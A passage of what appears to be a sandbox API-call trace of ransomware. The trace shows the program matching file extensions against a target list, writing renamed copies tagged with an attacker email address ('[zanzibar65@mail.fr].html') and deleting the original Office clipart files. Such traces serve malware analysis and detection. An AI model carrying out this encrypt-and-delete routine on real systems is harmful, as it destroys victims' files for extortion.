[0054.582] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0054.582] lstrlenW (lpString=".rar") returned 4 [0054.582] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0054.582] lstrlenW (lpString=".bz2") returned 4 [0054.582] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0054.582] lstrlenW (lpString=".7z") returned 3 [0054.582] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0054.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0054.582] lstrlenW (lpString=".dbf") returned 4 [0054.582] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0054.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0054.582] lstrlenW (lpString=".1cd") returned 4 [0054.582] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0054.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0054.582] lstrlenW (lpString=".jpg") returned 4 [0054.582] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0054.583] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.583] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c [0054.583] GetLastError () returned 0x0 [0054.584] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x4124, lpOverlapped=0x0) returned 1 [0054.585] WriteFile (in: hFile=0x23c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x4130, lpOverlapped=0x0) returned 1 [0054.586] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0054.586] WriteFile (in: hFile=0x23c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.586] SetEndOfFile (hFile=0x23c) returned 1 [0054.586] CloseHandle (hObject=0x23c) returned 1 [0054.587] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.587] SetEndOfFile (hFile=0x1f0) returned 1 [0054.587] CloseHandle (hObject=0x1f0) returned 1 [0054.588] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0054.588] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf")) returned 1 [0054.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0054.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0054.588] lstrlenW (lpString=".doc") returned 4 [0054.588] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0054.588] lstrlenW (lpString=".docx") returned 5 [0054.588] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0054.588] lstrlenW (lpString=".pdf") returned 4 [0054.588] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0054.588] lstrlenW (lpString=".xls") returned 4 [0054.588] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0054.588] lstrlenW (lpString=".xlsx") returned 5 [0054.588] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0054.588] lstrlenW (lpString=".ppt") returned 4 [0054.588] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0054.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0054.588] lstrlenW (lpString=".zip") returned 4 [0054.588] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0054.589] lstrlenW (lpString=".rar") returned 4 [0054.589] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0054.589] lstrlenW (lpString=".bz2") returned 4 [0054.589] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0054.589] lstrlenW (lpString=".7z") returned 3 [0054.589] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0054.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0054.589] lstrlenW (lpString=".dbf") returned 4 [0054.589] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0054.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0054.589] lstrlenW (lpString=".1cd") returned 4 [0054.589] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0054.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0054.589] lstrlenW (lpString=".jpg") returned 4 [0054.589] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0054.589] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.589] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c [0054.592] GetLastError () returned 0x0 [0054.592] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x687c, lpOverlapped=0x0) returned 1 [0054.594] WriteFile (in: hFile=0x23c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x6880, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x6880, lpOverlapped=0x0) returned 1 [0054.595] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0054.595] WriteFile (in: hFile=0x23c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.595] SetEndOfFile (hFile=0x23c) returned 1 [0054.595] CloseHandle (hObject=0x23c) returned 1 [0054.595] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.595] SetEndOfFile (hFile=0x1f0) returned 1 [0054.596] CloseHandle (hObject=0x1f0) returned 1 [0054.596] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0054.597] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf")) returned 1 [0054.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0054.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0054.597] lstrlenW (lpString=".doc") returned 4 [0054.597] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0054.597] lstrlenW (lpString=".docx") returned 5 [0054.597] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0054.597] lstrlenW (lpString=".pdf") returned 4 [0054.597] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0054.597] lstrlenW (lpString=".xls") returned 4 [0054.597] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0054.597] lstrlenW (lpString=".xlsx") returned 5 [0054.597] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0054.597] lstrlenW (lpString=".ppt") returned 4 [0054.597] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0054.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0054.597] lstrlenW (lpString=".zip") returned 4 [0054.597] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0054.597] lstrlenW (lpString=".rar") returned 4 [0054.597] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0054.597] lstrlenW (lpString=".bz2") returned 4 [0054.597] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0054.597] lstrlenW (lpString=".7z") returned 3 [0054.597] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0054.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0054.598] lstrlenW (lpString=".dbf") returned 4 [0054.598] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0054.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0054.598] lstrlenW (lpString=".1cd") returned 4 [0054.598] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0054.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0054.598] lstrlenW (lpString=".jpg") returned 4 [0054.598] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0054.598] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.598] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c [0054.598] GetLastError () returned 0x0 [0054.598] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x133c, lpOverlapped=0x0) returned 1 [0054.600] WriteFile (in: hFile=0x23c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x1340, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x1340, lpOverlapped=0x0) returned 1 [0054.601] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0054.601] WriteFile (in: hFile=0x23c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.601] SetEndOfFile (hFile=0x23c) returned 1 [0054.601] CloseHandle (hObject=0x23c) returned 1 [0054.601] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.601] SetEndOfFile (hFile=0x1f0) returned 1 [0054.602] CloseHandle (hObject=0x1f0) returned 1 [0054.602] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0054.602] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf")) returned 1 [0054.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0054.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0054.603] lstrlenW (lpString=".doc") returned 4 [0054.603] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0054.603] lstrlenW (lpString=".docx") returned 5 [0054.603] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0054.603] lstrlenW (lpString=".pdf") returned 4 [0054.603] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0054.603] lstrlenW (lpString=".xls") returned 4 [0054.603] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0054.603] lstrlenW (lpString=".xlsx") returned 5 [0054.603] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0054.603] lstrlenW (lpString=".ppt") returned 4 [0054.603] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0054.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0054.603] lstrlenW (lpString=".zip") returned 4 [0054.603] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0054.603] lstrlenW (lpString=".rar") returned 4 [0054.603] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0054.603] lstrlenW (lpString=".bz2") returned 4 [0054.603] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0054.603] lstrlenW (lpString=".7z") returned 3 [0054.603] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0054.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0054.603] lstrlenW (lpString=".dbf") returned 4 [0054.603] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0054.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0054.603] lstrlenW (lpString=".1cd") returned 4 [0054.604] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0054.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0054.604] lstrlenW (lpString=".jpg") returned 4 [0054.604] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0054.922] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.928] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0054.929] GetLastError () returned 0x0 [0054.929] ReadFile (in: hFile=0x174, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0xfe2, lpOverlapped=0x0) returned 1 [0054.930] WriteFile (in: hFile=0x234, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xff0, lpOverlapped=0x0) returned 1 [0054.931] ReadFile (in: hFile=0x174, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0054.931] WriteFile (in: hFile=0x234, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.931] SetEndOfFile (hFile=0x234) returned 1 [0054.931] CloseHandle (hObject=0x234) returned 1 [0054.931] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.931] SetEndOfFile (hFile=0x174) returned 1 [0054.932] CloseHandle (hObject=0x174) returned 1 [0054.932] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0054.932] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf")) returned 1 [0054.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0054.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0054.933] lstrlenW (lpString=".doc") returned 4 [0054.933] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0054.933] lstrlenW (lpString=".docx") returned 5 [0054.933] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0054.933] lstrlenW (lpString=".pdf") returned 4 [0054.933] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0054.933] lstrlenW (lpString=".xls") returned 4 [0054.933] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0054.933] lstrlenW (lpString=".xlsx") returned 5 [0054.933] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0054.933] lstrlenW (lpString=".ppt") returned 4 [0054.933] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0054.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0054.933] lstrlenW (lpString=".zip") returned 4 [0054.933] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0054.933] lstrlenW (lpString=".rar") returned 4 [0054.933] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0054.933] lstrlenW (lpString=".bz2") returned 4 [0054.933] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0054.933] lstrlenW (lpString=".7z") returned 3 [0054.933] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0054.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0054.934] lstrlenW (lpString=".dbf") returned 4 [0054.934] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0054.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0054.934] lstrlenW (lpString=".1cd") returned 4 [0054.934] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0054.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0054.934] lstrlenW (lpString=".jpg") returned 4 [0054.934] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0054.934] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.934] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0054.934] GetLastError () returned 0x0 [0054.934] ReadFile (in: hFile=0x174, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x1f1e, lpOverlapped=0x0) returned 1 [0054.936] WriteFile (in: hFile=0x234, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x1f20, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x1f20, lpOverlapped=0x0) returned 1 [0054.937] ReadFile (in: hFile=0x174, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0054.937] WriteFile (in: hFile=0x234, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.937] SetEndOfFile (hFile=0x234) returned 1 [0054.937] CloseHandle (hObject=0x234) returned 1 [0054.938] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.938] SetEndOfFile (hFile=0x174) returned 1 [0054.939] CloseHandle (hObject=0x174) returned 1 [0054.939] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0054.939] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf")) returned 1 [0054.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0054.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0054.939] lstrlenW (lpString=".doc") returned 4 [0054.940] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0054.940] lstrlenW (lpString=".docx") returned 5 [0054.940] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0054.940] lstrlenW (lpString=".pdf") returned 4 [0054.940] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0054.940] lstrlenW (lpString=".xls") returned 4 [0054.940] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0054.940] lstrlenW (lpString=".xlsx") returned 5 [0054.940] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0054.940] lstrlenW (lpString=".ppt") returned 4 [0054.940] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0054.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0054.940] lstrlenW (lpString=".zip") returned 4 [0054.940] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0054.940] lstrlenW (lpString=".rar") returned 4 [0054.940] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0054.940] lstrlenW (lpString=".bz2") returned 4 [0054.940] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0054.940] lstrlenW (lpString=".7z") returned 3 [0054.940] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0054.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0054.940] lstrlenW (lpString=".dbf") returned 4 [0054.940] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0054.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0054.940] lstrlenW (lpString=".1cd") returned 4 [0054.940] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0054.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0054.940] lstrlenW (lpString=".jpg") returned 4 [0054.940] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0054.941] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.941] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0054.941] GetLastError () returned 0x0 [0054.941] ReadFile (in: hFile=0x174, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, 